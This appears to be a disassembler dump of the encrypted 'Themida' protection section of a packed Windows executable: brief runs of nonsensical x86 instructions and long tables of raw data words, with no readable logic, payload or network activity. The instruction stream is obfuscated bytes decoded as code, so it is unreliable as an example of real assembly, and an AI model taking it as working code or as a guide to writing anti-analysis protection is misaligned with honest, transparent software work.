		jbe	short loc_5C037D ; CODE	XREF: Themida_:005C031Fj
		jp	short near ptr loc_5C031D+1
		mov	bh, [edx-6E9F6930h]
		test	dword ptr [eax+58h], 0F8FB6FA0h
		sar	esp, 1
		push	eax
		mov	ah, [edx]
		and	ebx, [edi]


loc_5C0335:				; CODE XREF: Themida_:005C0359j
		mov	esp, 1ED1F787h
		test	eax, 52DA07Ch
		and	[ebx+6D92EC2Ch], ah
		ja	short near ptr loc_5C02DC+2
		jp	short loc_5C0396
		int	0C1h		; used by BASIC	while in interpreter
		jns	short loc_5C03A4
		mov	dh, [eax-24h]


loc_5C0350:				; CODE XREF: Themida_:005C02D5j
		xchg	eax, esi
		pusha
		hlt
; ---------------------------------------------------------------------------
		sar	dword ptr [esi], 1
		popf


loc_5C0356:				; CODE XREF: Themida_:005C0357j
		pop	es
		js	short loc_5C0356
		jnz	short loc_5C0335
		retn	0CD9Bh
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0EFD0DE9Bh, 7C821E5Bh, 9208DE9Bh, 7AE57795h,	72F3360Bh
		dd 0EF866E88h, 7CA91E5Bh
; ---------------------------------------------------------------------------
		dec	ebp


loc_5C037D:				; CODE XREF: Themida_:loc_5C031Dj
		lds	edx, [ecx+edi*2-53h]
		mov	bh, [edx-6E9F6924h]
		and	[ebx-6481D40Ah], bl
		jle	short near ptr loc_5C03B5+1
		sbb	al, 56h
		mov	dh, 1Ah
		imul	edi, 75h


loc_5C0396:				; CODE XREF: Themida_:005C0347j
		jns	short near ptr loc_5C03C0+1
		adc	eax, 0FD7ABE4Eh
		das
		mov	al, gs:59A57B89h


loc_5C03A4:				; CODE XREF: Themida_:005C034Bj
		cmp	eax, 0DF709491h
		cmc
		pop	es
		mov	edx, 0D183FE4Dh
		db	3Eh
		popf
		add	[ebx-3], bh


loc_5C03B5:				; CODE XREF: Themida_:005C038Dj
		jnz	short loc_5C03E1
		xchg	eax, edx
		loope	loc_5C0431
		mov	esp, 844EA77Ah
		push	cs


loc_5C03C0:				; CODE XREF: Themida_:loc_5C0396j
		adc	al, ch
		dec	ecx
		rcl	byte ptr [esi],	1
		test	eax, 75FCA77Fh	; CODE XREF: Themida_:005C03E7j
		retf
; ---------------------------------------------------------------------------
		db 8Ch
		dd 0FED74BEh, 7B1A26D3h, 207975FFh, 72BD360Bh, 0A0655488h
		db 89h
; ---------------------------------------------------------------------------


loc_5C03E1:				; CODE XREF: Themida_:loc_5C03B5j
		push	913D59A5h
		xchg	eax, esp
		jo	short near ptr loc_5C03C5+3
		cmc
		pop	es
		mov	edx, 85B5FF4Dh
		push	0FB6F99D3h
		das
		pop	ds
		pop	edi
		std
		push	ecx
		fidiv	dword ptr [ecx+3Fh]
		adc	esi, ebp
		mov	ecx, 9285E94Dh
		mov	ebp, 4D7A9774h
		hlt
; ---------------------------------------------------------------------------
		dw 9261h
		dd 7AE57435h, 7AF22D15h, 5791DEFDh, 0CABC75FCh,	0CA9DDF60h
		dd 5BC7DF61h, 1C9775FCh, 1C4A1345h
; ---------------------------------------------------------------------------
		push	esi


loc_5C042D:				; CODE XREF: Themida_:005C043Dj
		popf


loc_5C042E:				; CODE XREF: Themida_:005C042Fj
		inc	ebx
		jnp	short loc_5C042E


loc_5C0431:				; CODE XREF: Themida_:005C03B8j
		jnz	short loc_5C044D
		dec	esp


loc_5C0434:				; CODE XREF: Themida_:loc_5C044Dj
		std
		jnz	short loc_5C04B0
		sbb	al, 56h
		popf
		mov	dh, 7Bh
		std
		jnz	short loc_5C042D
		out	57h, eax
		mov	dh, 9Fh
		out	57h, al
		popf
		imul	edi, [edx-3], 0FCF32375h


loc_5C044D:				; CODE XREF: Themida_:loc_5C0431j
		jnz	short loc_5C0434
; ---------------------------------------------------------------------------
		db 8Ch
		dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh,	84487DF9h
		dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7C6C1E57h
		dd 11CDC070h, 8A5D73E8h, 0D02C7F51h, 1131E002h,	920873E8h
		dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
		dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h
; ---------------------------------------------------------------------------


loc_5C04B0:				; CODE XREF: Themida_:005C0435j
		wait
		int	0FDh
		dec	ebx
		wait
		ficom	word ptr [ecx+438A036Bh]
		retf	0DFA7h
; ---------------------------------------------------------------------------
		dw 22EEh
; ---------------------------------------------------------------------------
		push	edi
		mov	dh, 9Fh
		xchg	eax, edx
		push	edi
		and	bh, [edx+edx*4]
		or	al, 75h
		retf
; ---------------------------------------------------------------------------
		db 7Ah
		dd 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h, 7A5E7505h
		dd 79252D4Dh, 0FF69B657h, 7CDE1EDEh, 11C6C87Dh,	0FF373E8h
		dd 0EFFCF8ECh, 2ABA6096h, 7A5C6115h, 781B9DFDh,	1A2775FDh
		dd 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch, 7CA91EDEh
		dd 117DC87Dh, 0F2F73E8h, 0EF12F8F1h, 2ACD6096h,	7AE4DE15h
		dd 7E4AB6FDh, 857975FDh, 6FD7DF68h, 88C3F8FBh, 0F0296092h
		dd 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah
		dd 78357115h, 0DCCB8A3Eh, 0CE296096h, 0E96514Ah, 0CA74C1FFh
		dd 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh,	79BEB5FEh
		dd 7825B5F1h, 0EF68B657h, 7CDE1E5Bh, 0FAEA917Dh, 7542F539h
		dd 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h, 0B995FCF9h
		dd 7ACB7345h, 0D0708AFDh, 0F7F46096h, 6F12FC60h, 39A0F8FBh
		dd 7A4ECD3Eh, 0EFD075FDh, 7C821E57h, 0F1CEB57Eh, 0EF1A8935h
		dd 7CE71E5Bh, 0B98E9757h, 8543BE15h, 7B1DFF02h,	8E5A72D9h
		dd 6C7F7677h, 8CB75FCh,	831DB616h, 0F1A78908h, 86BDF611h
		dd 7ABC9D9Dh, 0FB0475FDh, 6F5F7717h, 86EAFCFBh,	116ECF7Dh
		dd 75E573E8h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh,	7C4B1E57h
		dd 0D4ADFCBDh, 0F1916096h, 0AC79F835h, 85E3608Dh, 6F99D36Fh
		dd 3C7FFDFBh, 6D04801Fh, 795E75FDh, 6F44DB7Fh, 0E01A35FBh
		dd 7CDE0537h, 0F3E1B67Eh, 644B22FEh, 797975FDh,	6FD7DB77h
		dd 0C2ECF8FBh, 8929608Dh, 722F2B59h, 85CB75FDh,	6F8EDF6Fh
		dd 7E0AF6FBh, 7C718589h, 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h
		dd 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh, 61C044F9h
		dd 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h, 0F3348A01h
		dd 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh, 8E7A1102h
		dd 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h, 7AF2B6ADh
		dd 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h, 90162FFDh
		dd 7CDE0514h, 1157CF70h, 0F7973E8h, 7A71CCF5h, 0DE4F75FDh
		dd 7E9CBC9Ch, 0E7A226FDh, 7C821E4Fh, 7BD3497Dh,	83BE7188h
		dd 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh,	6F5E5717h
		dd 0C825F8FBh, 0F1CD6096h, 725C7D80h, 89F275FDh, 0B8B01459h
		dd 0F7DC75F9h, 6F35C740h, 0C3EF46FBh, 7A9775F5h, 0B9AADF0Eh
		dd 0C858F89Dh, 0FBF46096h, 7B7874C2h, 0FBB000FCh, 7B5F7182h
		dd 795A74FCh, 82969E04h, 0F7ABB69Ch, 6F8EC740h,	7AF3CDFBh
		dd 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh, 6FFCCA78h
		dd 8BD08AFBh, 0A38D8DCAh, 6A061572h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F619C353h
		dd 3523B22h, 0E227985h,	81665A06h, 89E2BBD2h, 0E2FC58Dh
		dd 9E906h, 0A1760000h, 0AB538FD6h, 0F9A6418Dh, 88185C7h
		dd 7308060Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 533EE3C3h, 0D6816660h, 81665A19h
		dd 61B455F7h, 28D985C7h, 60Eh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 74CB6C3h
		dd 48B0Fh, 60600000h, 0F38A6161h, 7C1B5FFh, 6A060Eh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 7EF733C3h, 0BDABE3F7h, 81669D34h, 0FF6C00E3h, 0E09B995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 850FF2h,	0BF000000h, 639530DCh, 95FF006Ah
		dd 60E0F45h, 5CEBC08Bh,	4F7C6370h, 0F6D4CA80h, 328D82B7h
		dd 1CA8B19Ah, 64ED1127h, 77C35E3Fh, 677739C1h, 0BB73732Bh
		dd 15966F67h, 30BD330h,	3165C884h, 5D34FDD0h, 35780F2h
		dd 9DE22AF0h, 0E99B19F8h, 0B10CE1A5h, 0BF03B48Ah, 0C11A4B35h
		dd 0FD2015C6h, 0AE8FFB44h, 8DB6536Ch, 0F356EA1Eh, 0E3EFA302h
		dd 92E9h, 0FDC8BF00h, 0E1A29E39h, 0C487821Dh, 0A66B6500h
		dd 864F47E2h, 0B82D97C2h, 9833F7C0h, 7914D89Fh,	5FFABE7Bh
		dd 93DFA362h, 0C38007C8h, 0D7405D7Ch, 0F7BCB629h, 3931D0DBh
		dd 489D5470h, 591E18F3h, 0B0B6D895h, 0F91C5B69h, 5F5BAC27h
		dd 0A41665FCh, 0D0DE85E2h, 3B6A4h, 33440000h, 0F4BFB681h
		dd 4100FDD8h, 8F4C4A25h, 0D89F9873h, 20E9E1BCh,	68312904h
		dd 0B277714Ch, 0FDC0BB96h, 490A06E1h, 968692Dh,	0E9061573h
		dd 0FFF90B0Ch, 9DE6541Ch, 0E9ADE154h, 26h, 35E0BDB6h, 8	dup(0)
		dd 7EE90000h, 6800000Dh, 6157626h, 0F90ACBE9h, 775368FFh
		dd 0C1E90615h, 68FFF90Ah, 615782Fh, 0F90AB7E9h,	78F568FFh
		dd 0ADE90615h, 68FFF90Ah, 6157BBCh, 0F90AA3E9h,	7E5768FFh
		dd 99E90615h, 68FFF90Ah, 6157F50h, 0F90A8FE9h, 5D0C7FFh
		dd 0E9AAA641h, 0CC8F8A25h, 0AE736D08h, 8E574FEAh, 0C0259FCAh
		dd 0A03BFFC8h, 811CE0A7h, 6702C683h, 9BE7AB6Ah,	0C4880FD0h
		dd 0DF485D7Ch, 0F5BEB631h, 4300FED9h, 4978C07Fh, 0AFEAAB7Ah
		dd 235B69B0h, 0C78853A8h, 6177C3E1h, 2E29C897h,	5D6FAA6Bh
		dd 68E3A298h, 0B9D55013h, 985D59BCh, 602921A2h,	876E6944h
		dd 0F5ACC88Dh, 8B835E7Ah, 93E4A2C2h, 0B203C570h, 3F2E973Bh
		dd 6783423Fh, 78240CB0h, 75820459h, 0B1B60451h,	57h, 0C7A69243h
		dd 77776B23h, 0AB6C8737h, 5B69B66Ch, 0B6FC1BDCh, 0D9545B69h
		dd 4D1C9712h, 0D3EFB4AEh, 0A01E94F3h, 65E004ABh, 0B60BC8C6h
		dd 3DBE2AEBh, 0B7326177h, 827A19E8h, 25E69DB9h,	0A29BCBE2h
		dd 768EE35Eh, 9BCB1A79h, 0BF10D2A2h, 3D16691h, 7C0B6h
		dd 7520000h, 835h, 0D6B9B695h, 44FB17DCh, 0FEA2ADC9h, 8E462F3Ah
		dd 0D36EC3F9h, 945317D6h, 8108C9A4h, 695B69C8h,	0D68DA970h
		dd 4A19940Fh, 77C66B89h, 0E2AA561h, 9BDAF211h, 0BC5B6AA2h
		dd 29E0FCC3h, 0D70556D4h, 0B603DE20h, 3306h, 0B7869800h
		dd 69B093F6h, 5FB42F5Bh, 5A2998A0h, 0D0201B6h, 82D74FA2h
		dd 7152F6B7h, 0F36E6177h, 0EBBDAD7h, 7133A29Bh,	8E05F220h
		dd 821B603h, 0B3000001h, 0DEFAB9B6h, 26420B03h,	0C8B4C1Bh
		dd 0C45B69B0h, 0C258A549h, 2810F364h, 7C3B38D3h, 0C9888560h
		dd 0AA6B3A05h, 5B69206Fh, 561368E3h, 5B692517h,	0FDFBDEDBh
		dd 0B2109C40h, 3793021Ch, 8E2DF8BCh, 302ECD96h,	86831E73h
		dd 6829F8C7h, 5B69A221h, 0B9D126A1h, 211F7EBAh,	0F2914864h
		dd 0EDBC37F4h, 77DF142Ch, 8251CC61h, 28E61CDEh,	0A3F8BCC3h
		dd 7A4918E3h, 988C5EB9h, 0B677F2A2h, 0A2988C53h, 915650EFh
		dd 9F43BE75h, 45DD90D1h, 66257A68h, 5F20EFD2h, 988BBF90h
		dd 47E6B530h, 27C2864Fh, 8310662Fh, 0E32289ACh,	0A4FFD87h
		dd 0E5DC0000h, 0BFBB561Ah, 0A49F3AFEh, 88821DE1h, 6C64FFC3h
		dd 30B4DFA3h, 5014DDD5h, 31F5BCB5h, 17DB9896h, 0FCC07F7Ch
		dd 0E524E5B0h, 5D5D7CC6h, 0B78646F4h, 69B093F6h, 9B8B2F5Bh
		dd 60CDA764h, 0EEE88702h, 1560D29h, 0D6A56E66h,	50C34607h
		dd 47F5B69h, 5754EFAFh,	9266D498h, 0A84C1BA6h, 4A16950Ah
		dd 5F2A7FD9h, 77E7BA9Eh, 7F9B1661h, 9BF80382h, 0C819DBA2h
		dd 4045D9Ah, 332BCAB6h,	0ECFCB6Ah, 0EEEDB9h, 0B67F0000h
		dd 8C2BFAB9h, 6078CD92h, 0D2A4B155h, 0E145C485h, 82FD5B69h
		dd 0A55070DEh, 0F4BDB550h, 71778125h, 26CA8D88h, 4FA42A6Fh
		dd 1CFB3A37h, 0F08F5B69h, 5D1430F7h, 0B1706D08h, 965552EDh
		dd 0D037F8C7h, 985B6915h, 8BFDB9Ch, 5971C641h, 14E3DE5Ah
		dd 7768CD53h, 284FF361h, 266434C4h, 9B5A1E99h, 8655249Dh
		dd 1593F6B7h, 0B42FA29Bh, 0F0DCA25Fh, 9849888h,	0D4CC6B3Ah
		dd 9938EF0Bh, 0EC87DC9Dh, 0F6F602F4h, 2930F402h, 501FEAAEh
		dd 8800088Fh, 0F84DC8A8h, 469C655Dh, 228923B3h,	2229B30Fh
		dd 9000009h, 0E8834712h, 0CC672BECh, 0AF4A0ED1h, 912CF0B5h
		dd 0E10CD099h, 410A0263h, 22E9E27Dh, 8C5C35Eh, 0EDACA944h
		dd 5112DD29h, 5D7CC736h, 0B673218Ah, 8726F5BEh,	0F4ABC78Eh
		dd 4744DF9Fh, 55F9C488h, 88A7D19Bh, 0FA68BDDFh,	2BFAB9B6h
		dd 0B07C9B5Ch, 59D45B69h, 1411EC04h, 0BE1C9155h, 0E9B8092Fh
		dd 77DF9428h, 0B8B55461h, 10AF7EF9h, 7E355116h,	57979429h
		dd 0EDFCDF30h, 7490534Eh, 8FA968BDh, 3450130Eh,	6433027Dh
		dd 451064A3h, 423DDC0Bh, 31AC637Fh, 905011DCh, 48315B1Ch
		dd 0D1C9ACA9h, 0BA718D08h, 0B27A265h, 0C6952C0Ch, 206728F7h
		dd 0A0117724h, 791A8125h, 7F4C4A26h, 0D4BA6D2Ah, 0BB362B65h
		dd 6D504DECh, 7337B26Fh, 0C61CDBD8h, 9565C83Dh,	469F2985h
		dd 0E5000008h, 0C45F23EEh, 0A84307C8h, 8B26EAADh, 6D08CC91h
		dd 0BDE8AC75h, 1DE6DE07h, 0FEC5BE59h, 0E4A19F3Ah, 0C9888520h
		dd 2DEEB905h, 5D7CC8EAh, 0B64FFD66h, 0DFDEFAB9h, 87484459h
		dd 6A39B46Bh, 8C0BCC9Bh, 445B69B0h, 0DE39FAC9h,	725B69B0h
		dd 0DFE5A2F7h, 96177B8h, 2220BF8Eh, 6C79665h, 0A2984883h
		dd 34F5C43Fh, 0A29848D5h, 0DD9DF26Dh, 7824312h,	0E3A29848h
		dd 4F0622EBh, 2AEFE988h, 0C1BF5AAFh, 9A963504h,	6F6C84D9h
		dd 0A2984828h, 98386FAEh, 7849EFA2h, 6B36DAA9h,	5E98774Ch
		dd 0B4F529CDh, 0E189AC01h, 0BA49CF8Ch, 8C079886h, 0CEC16570h
		dd 212EDA52h, 76730E63h, 33DA61B7h, 0BA16228Bh,	78030h
		dd 0E9B4AB00h, 0CD8E8A25h, 0B0736E09h, 925751ECh, 723B33CEh
		dd 0A4C183AEh, 841FE3ACh, 6500C48Bh, 4BE6AA67h,	7FCB8F4Eh
		dd 0C894F3B4h, 0C32C5D7Ch, 1BA69215h, 0B30D8B4Ch, 48C36177h
		dd 1DDEDA79h, 0D9D5B0C8h, 6635FAF4h, 984D62A5h,	0E863DEA2h
		dd 0CC8D8924h, 3889B1B0h, 3FB9A69h, 0C8671E3Ah,	0F7B409CEh
		dd 0A2984DC8h, 5617DF8h, 9C615BFAh, 2C2AC980h, 4B9C1A6Fh
		dd 83470804h, 984D47C6h, 8E3307A2h, 114CF0BFh, 652622FAh
		dd 0A82C73C1h, 1B1F9653h, 30ABA298h, 14D5D16Ch,	0ACC4A145h
		dd 32BCFDD0h, 0EBBAC5DDh, 988CEF2Ah, 93E863A2h,	988DAFD6h
		dd 0B304C2A2h, 0EBAF706Ch, 7E3F5450h, 0A2988B1Bh, 521E4DFh
		dd 910C874Eh, 8BA57875h, 4E0CA298h, 0A5BAB6FDh,	988AA5E4h
		dd 27A21DA2h, 2B96A463h, 1C0BD5Ch, 4DA26962h, 8A43C182h
		dd 56F5A298h, 1980415Eh, 0B9A2988Ah, 0F0A7C33Eh, 8E5DD89Bh
		dd 1EDFF2EFh, 0A2988AFBh, 4561DC57h, 2421398Eh,	363A2E48h
		dd 8A015214h, 669FFABBh, 0B833DEE6h, 7216E163h,	15102A66h
		dd 0A2000001h, 0FFF7A692h, 0E8631A36h, 0B0AB4A19h, 6DDB98EDh
		dd 636177E1h, 7D7A19E8h, 5750EFBEh, 0E07B3B90h,	0B65524E3h
		dd 22D9F5BEh, 0F3B8B5CDh, 1B4195h, 0A9A6ED3Eh, 900BC8C6h
		dd 753431CCh, 0B4AF4E59h, 0FCFAD5F1h, 0B06FC43Fh, 5617138Ah
		dd 827C17DBh, 0C9C6A1BDh, 0AEAB460Ah, 81D6D3EFh, 0AEBF5F45h
		dd 57549BECh, 3C39D498h, 0D862617Dh, 3E591AE9h,	925B49DDh
		dd 0C0B85317h, 5EDCDBF7h, 0B8D39463h, 5B49DDh, 0D3989231h
		dd 49DDF712h, 7BD04B5Bh, 0DE793DB8h, 0B45322E1h, 88A0F5BAh
		dd 0D0ECB5ADh, 1E65B674h, 7F443E21h, 0A8A54004h, 6CCECDE9h
		dd 4AC58655h, 0F65B49DDh, 1E995C57h, 0F3F08F5Ah, 4744DF34h
		dd 93916C88h, 70EEBAD6h, 1009A81Fh, 21762D49h, 6CA8986h
		dd 93AF6E6Bh, 4C1BA694h, 49DD788Bh, 20E1B05Bh, 5B49DDF9h
		dd 0C689DE59h, 0B41AA822h, 0FFF86EE7h, 0C719BD38h, 7005D3EBh
		dd 60FBBF3Ah, 8A89A562h, 814211B0h, 5B495F76h, 0FD6B2FAAh
		dd 36FAB9B6h, 0BD4CC6Bh, 24E338EFh, 0CC8D8914h,	0BFC18251h
		dd 616177D2h, 7A7817E6h, 6D61A869h, 66E1A298h, 8E8C27EBh
		dd 82B6B5D1h, 98CC703Fh, 47ADA484h, 0E3FFC4BEh,	1512B12Ch
		dd 2E833A56h, 7F1AA263h, 4BC69886h, 7FD3322Fh, 0C573A88Ah
		dd 2C6C2DFCh, 9C92941Ch, 9E42FFFDh, 1F834077h, 3CFF54B8h
		dd 6223F2C1h, 0B6BC8727h, 8681209Bh, 9BF0A7C3h,	0ECABA883h
		dd 0BDA42196h, 5BE5413Ch, 4B9h,	0ECB07B72h, 0D0945551h
		dd 0B3773A35h, 95591E18h, 753902FAh, 736B9A4Ah,	524BE6AAh
		dd 2E2CC78Bh, 1512AD71h, 7B469256h, 7CCB5FBAh, 0DC8AF35Dh
		dd 4C1BA692h, 77BD918Bh, 0D9784761h, 4B021EDBh,	98420F8Ah
		dd 0A948C3A2h, 0D295EAAFh, 0EBE98857h, 0B6C1D92Eh, 42E326E7h
		dd 0E45FA298h, 42B2D28Fh, 682AA298h, 560EE917h,	9A18B604h
		dd 0AA000000h, 69B02194h, 6885C45Bh, 5ABE2591h,	0C036B4B6h
		dd 1893A15Eh, 4C0DDCE7h, 5B6990CDh, 1AB50A85h, 7C3F3A1Dh
		dd 6A2EA960h, 880FD09Fh, 485B6990h, 82B978CDh, 60AF703Fh
		dd 0E05B6990h, 716E4965h, 0B4D0938Eh, 0FFBE82FDh, 0A162313Ch
		dd 5B699066h, 7B9E5FDAh, 0D75B6990h, 5112E15Ch,	5B69903Eh
		dd 0E0EB0782h, 30854441h, 15D99895h, 0DDCE556h,	96B2716Eh
		dd 0FEBF8ADFh, 5B69AFFFh, 8784A01Bh, 5B69EF04h,	0F15CAD6Bh
		dd 0E7A8774Ah, 0A4966FC4h, 7BC58904h, 6Dh, 1BA69209h, 0B30D8B4Ch
		dd 48C36177h, 9158512Ch, 98290ECDh, 4D8D08C9h, 0C23DA298h
		dd 4D69A9A6h, 4103A298h, 4B35C2F0h, 3EF1B604h, 83000000h
		dd 4D1CA592h, 69B00D8Ch, 2E4AC55Bh, 0CF935A53h,	0CB9A2710h
		dd 526E312Ch, 0AC7B469Bh, 0FC51100Dh, 69B06C3Fh, 95B12C5Bh
		dd 69F07598h, 6DBE7C5Bh, 0BD8C3502h, 967029FCh,	0AA6EE9A4h
		dd 0D6B9B63Ch, 8702C3DCh, 3B5B69B0h, 0AECA45C0h, 5317D6D3h
		dd 8C9A494h, 5B69B081h,	2A27C641h, 8221F06Bh, 2724C388h
		dd 40954C68h, 0BE30B475h, 55D06177h, 978A2E39h,	9C30A3ABh
		dd 0B2D59665h, 0EA298ABh, 2813E93h, 0DAA298ABh,	5E99C718h
		dd 0C8B6052Dh, 4Eh, 1BA6925Ah, 0EDAE7D4Ch, 5B69B0AAh, 1BDCAB26h
		dd 5B69B0FCh, 0C784D954h, 6177BF81h, 0ABA8C43Fh, 0A2984068h
		dd 7AF14204h, 0C91EDFDBh, 45BB047h, 0E7A877B6h,	0A29854A0h
		dd 8450A520h, 0CBh, 0EE29EAB9h,	8AA29854h, 8702C992h, 0B9B6C432h
		dd 0B03DEFAh, 0DBD47342h, 0EC41F814h, 3DFCF9D4h, 8A494621h
		dd 6B2CFBC6h, 5B69B02Ch, 908A29A4h, 7AB976CBh, 3E5B69B5h
		dd 23BE8241h, 0F9986726h, 8C0211FFh, 3A7B050Eh,	53526ABFh
		dd 4C0DDCE5h, 9E883F0Ch, 0BA8549C4h, 65B221Bh, 1D0F147h
		dd 8BBCEA40h, 110BAA98h, 0FE79304Ch, 789F602Fh,	0D8A8888Dh
		dd 9E3D085Dh, 6F0EDDA6h, 9F5FB471h, 0ED430C04h,	2289AE72h
		dd 1EA8328Eh, 0D000002h, 0EC874B16h, 0D06B2FF0h, 0B34E12D5h
		dd 9530F4B9h, 0E510D49Dh, 450E067Fh, 26EDE681h,	0CC9C762h
		dd 0F1B0AD48h, 5516E12Dh, 5D7CCE32h, 0B677258Eh, 12D7D1BEh
		dd 3B38D397h, 924AB87Ch, 8B4C1BA6h, 6177BFCDh, 616C8803h
		dd 3EB32DBDh, 0AB627E45h, 159FE007h, 0AF8003C0h, 6D68A298h
		dd 0ACC88B86h, 835E7AF5h, 0DFABC786h, 42ED1061h, 0F6012F80h
		dd 30B6052Ch, 0D4h, 0FAB9B6C2h,	420B03DEh, 0B5CA2926h
		dd 0B1AE5B69h, 96932EF2h, 7CBCBBD7h, 93B57645h,	2D9E883Eh
		dd 92FEEB2h, 5564A364h,	7FFFA298h, 0EB418B9Ch, 9034AF76h
		dd 0B80CA74h, 0F6C54058h, 0A9B28327h, 8A1555BEh, 112DF0EBh
		dd 5148055Ah, 11988BC1h, 3028C796h, 0B95D4743h,	8C9C5B2h
		dd 0B06783FEh, 0D6976635h, 0A88938B3h, 7F3F940Fh, 2FFECE4h
		dd 0F5702743h, 881B3E9Fh, 50DA3622h, 125h, 80440F06h, 6428E9E5h
		dd 470BCEC9h, 29EDB2ACh, 9CD968Eh, 7FF66DEh, 0E6DF7A3Eh
		dd 0C2C05B1Fh, 0A9A64105h, 0FDA26EAh, 7CCFCB4Eh, 701E875Dh
		dd 0FEEDE286h, 5FC42AF9h, 0AE776F0Ah, 3F524FEAh, 69F31B7Eh
		dd 0C13CB75Bh, 0A26332FDh, 5B69F367h, 9D0B60DBh, 2BFAB9B6h
		dd 0B4D08F8Ch, 546E59FDh, 74953F7Ah, 2F2C071Fh,	4BEDAC70h
		dd 47E6A776h, 7B617F37h, 0DBF2E4DCh, 0B4AAE790h, 914864DFh
		dd 1935F6F2h, 0AB4A0D62h, 1CD3EFAEh, 0ADAA85A1h, 928F2AEEh
		dd 0A6004D3h, 7B30165Eh, 0FBF81065h, 76B416E4h,	6D894644h
		dd 0B8D49792h, 0FA1D6EECh, 168DDEA0h, 55254972h, 0D5CD9CBCh
		dd 0A13C910Ch, 8621E5A4h, 0A3AECA89h, 0FA92EEFFh, 0E85A7D4Eh
		dd 0FA791DBEh, 9E8B2FC3h, 72BFAA92h, 0A049FF4h,	0E6A77645h
		dd 9E9C42A3h, 374FA41Fh, 55CC1DDBh, 0DDF9BAB6h,	29450602h
		dd 1753F772h, 1650231Ah, 98953085h, 7D7A15D9h, 1618A2BEh
		dd 49000000h, 0D0ECAFAAh, 0BB807A19h, 2593E89Fh, 2AEBE786h
		dd 0E402570Eh, 0F4BFB632h, 4100FDD8h, 8F4C4A25h, 0D89F9873h
		dd 20E9E1BCh, 68312904h, 0B277714Ch, 0FDC0BB96h, 490A06E1h
		dd 8952692Dh, 30BB53E2h, 0F7350634h, 43D3F7D3h,	3435F381h
		dd 0DA013506h, 4EA835Bh, 5C241487h, 81E78957h, 4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 89532404h, 4C381E3h, 83000000h
		dd 1C8704EBh, 1C895C24h, 17BA5224h, 81477A43h, 9A4240F2h
		dd 81D2F753h, 0B43B8AF2h, 3EAC12Ch, 8108EAC1h, 0D8169F2h
		dd 0D3895306h, 5A5BD889h, 241C8B54h, 8104C483h,	4ECh, 24048900h
		dd 0FF08438Fh, 835B2434h, 48B04C4h, 0E7895724h,	4C781h
		dd 0C7830000h, 243C8704h, 0FD66E95Ch, 13B3FFF8h, 2BE4316h
		dd 0EBE82EC0h, 2D076329h, 809AB8C0h, 0C5030615h, 22D8E0FFh
		dd 79B833EAh, 52333539h, 837174A0h, 729E797Dh, 0A7F413FCh
		dd 7BEE69C0h, 0A1E27365h, 0A6395415h, 0D692327Ch, 0A60909EFh
		dd 2397720Ch, 0F56B2971h, 0B2285D62h, 45F43FCDh, 95004BC4h
		dd 0CFF628EFh, 90CB120Ch, 8B23095h, 0C9C663F7h,	8B4058DAh
		dd 89705B3Ah, 0FE81191h, 0ED000000h, 5D69D55Fh,	1BF24695h
		dd 54F1C7DAh, 0FE9BC25h, 0C5000000h, 0CF24D5B0h, 7EA1CE56h
		dd 70669F79h, 0F5EB2A5h, 0C681FFB7h, 0DAF9h, 0DF816660h
		dd 8B66E418h, 0C92B61F1h, 12E9h, 54E44200h, 0BA5F4C6Eh
		dd 4FE3BBAFh, 989116E1h, 8B9C34B6h, 81F80E1Ch, 7827F4EBh
		dd 0FE963h, 7B330000h, 3CD4881Eh, 7DDD9667h, 2A62AE2Dh
		dd 6EF381FCh, 0F6E5BFBh, 0C381D1B7h, 1941EF2Ch,	0C1B70F53h
		dd 0E90E048Fh, 7, 45BD8207h, 0FFA1D87h,	48Fh, 51BA6600h
		dd 1E981D7h, 0F102ACAh,	280h, 81D08A00h, 2AC9FDC1h, 0C3BF0F10h
		dd 25D8F981h, 850FFFFFh, 0Bh, 12E9F5h, 0D71E0000h, 0E983E3CFh
		dd 0FFFFFF83h, 0B69423EFh, 9A1317C8h, 0CE8h, 2601F400h
		dd 0E1AF402Bh, 0A718FAF6h, 6E9CAh, 27D40000h, 0A3B6F159h
		dd 12E95Fh, 68A80000h, 0EAF4BA02h, 0DA267E44h, 59327264h
		dd 17FA4F96h, 6CDAC781h, 890F0000h, 12h, 0DE9h,	2DA87800h
		dd 0EFAFEE6Bh, 30EAA87Fh, 0D681CDEh, 8000001Bh,	0F5EDEECh
		dd 287h, 8BEF8A00h, 0F3816617h,	0F281EEB9h, 192A528h, 14AB73BBh
		dd 8FC28133h, 0F2EF83Eh, 0F281D9B7h, 7EA9F375h,	61605250h
		dd 1789595Bh, 2890Fh, 0C68A0000h, 0E95DEF81h, 8B664725h
		dd 59C781DEh, 8B4725E9h, 850F4ECEh, 0FFFFFFB7h,	0E8CFB70Fh
		dd 5, 0B4D215A8h, 8800F2Bh, 60000000h, 0BA66EE8Ah, 5A61D4C4h
		dd 81F88B66h, 6793C2h, 0FA8B6600h, 19C368h, 0E4E08100h
